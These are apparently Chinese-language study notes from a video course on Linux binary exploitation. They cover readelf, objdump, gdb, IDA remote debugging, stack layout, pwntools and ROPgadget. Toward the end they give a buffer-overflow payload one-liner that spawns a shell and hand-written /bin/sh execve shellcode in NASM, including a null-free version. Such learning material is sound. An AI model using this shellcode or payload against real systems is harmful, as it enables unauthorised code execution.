听课链接:https://www.bilibili.com/video/av34865942

gcc 编译C代码

  • -g 挂上一个debug参数,用gdb调试可以看到源代码
  • -m32 32位的程序
  • -save-temps 编译的过程中,保存临时文件(编译过程文件)

readelf

  • -h elf_file 读取一个文件elf头
    • 看结果的type字段来判断文件类型
  • -l + 程序

推荐一本书《程序员的自我修养》

objdump

  • -d参数 + 程序 查看汇编代码

  • readelf -h hello可以看到程序的入口点(Entry point address)

  • objdump -d hello | grep 0x123456(入口地址)

od

  • –read-bytes
  • od hello | head -S(默认是8进制)
  • od -A x hello | head -S(偏移转16进制查看)
  • od -A x -t x1z hello | head -S(x1z x 16进制 1 每byte查看 z显示ascii )
  • od –skip-bytes=(跳过前面多少字节,一般写的是文件偏移) –read-bytes=(读取多少字节) -A -x -t x1z hello

  • od –skip-bytes=(跳过前面多少字节,一般写的是文件偏移) hello |head -5

ldd 查看程序动态链接了哪一个libc

gdb 动态调试

  • gdb + 程序
  • gdb

    • file 程序
    • attach 程序pid(ps -a)
    • start 程序运行起来,运行到main函数
    • i functions 查看所有函数的名字
    • disassemble + 函数名 运行之后查看汇编代码
    • disassemble + $pc 查看运行到当前地址的汇编代码
    • i proc mappings 查看当前内存布局
  • disassemble main 之后
    • -l,查看当前指令
    • -c, continue,继续运行
    • -b 6 在地址第6行打上断点
    • -b *地址 在某地址处带上断点
    • -r run ,程序跑到断点
    • -c 可以继续-b 打断点,然后按c 继续运行到断点
    • x/内存数量 $esp 查看内存数据,默认以上一次指令来显示
    • x/10xw $esp 以16进制显示10个$esp
    • x/10xw $esp+0x2c esp+0x2c就是在查看汇编代码遇到esp的时候查看到的

IDA

  • 从程序图标到按偏移位置显示text(快捷键:按空格)
  • Ctrl + 1 显示所有窗口信息(Quick view)
  • sub_地址 是IDA没有识别出来的函数名
  • 调试Debugger

IDA目录,dbgsrv目录下

比如要在kali linux 上远程调试,复制linux_server到kali ,然后运行起来,这是就会开启一个本地的监控端口。

点击Debugger–Attach to process,如果能够读到远程进程的PID说明连接成功。

  • F2 下断点
  • F9 运行
  • 按ESC回退

寄存器

  • esp(低地址) – ebp(高地址) 标记一个栈,栈在gdb(i proc mappings)中是最后一个。

malloc 函数会产生一个全局数据,任意地方都可以访问

画个图

代码
data
bss
heap
mmap
so
stack
内核

OllyDbg

stack (esp ebp =>stack,程序直接保存ebp,pop 和push 只影响esp,所以esp 也被称为栈帧)

保存stack, push ebp

清空stack ,leave
ret <==> pop eip

pwntools

from pwn import *
elf = ELF('./XXX')
elf.symbols['main'] # 获取main 函数的地址
hex(elf.symbols['main'])

p32(elf.symbols['main']) # 包装成小端字节序

首先制作payload,再到使用gdb传入payload。

python -c 'print "a"*28+"BBBB"+p32(elf.symbols['vuln'])' > payload
gdb
r < payload
q

cat payload -| ./pwn2-shell # 获得shell

程序system call

https://syscalls.kernelgrok.com

shellcode

http://shell-storm.org/shellcode/

自己写一个shell

mkdir shell
cd shell
vim shell.asm
Section .text
    golbal _start
_start:
    jmp go
sh:
    pop ebx
    mov eax,0xb
    mov ecx,0
    mov edx,0
    int 0x80
go:
    call sh
    db '/bin/sh',0

nasm -f elf shell.asm
ls
shell shell.asm

file shell
file shell.o
cat shell
readelf -h shell

ld -melf_i386 shell.o
ls
a.out shell shell.asm shell.o
./a.out
$

xxd a.out  #有很多0 会造成截断无法直接使用
vim asm
Section .text
    golbal _start
_start:
    jmp go
sh:
    pop ebx
    xor eax,eax
    mov al,0xb
    xor ecx,ecx
    xor edx,edx
    int 0x80
go:
    call sh
    db '/bin/sh',0

objcopy -O binary a.out shellcode
xxd shellcode

IDA测试偏移不准,使用GDB

ROPgadget

  • –binary + 程序 |grep jmp
  • –binary + 程序 > rop.txt
  • –binary + 程序 | grep “pop eax”

如何更好的定位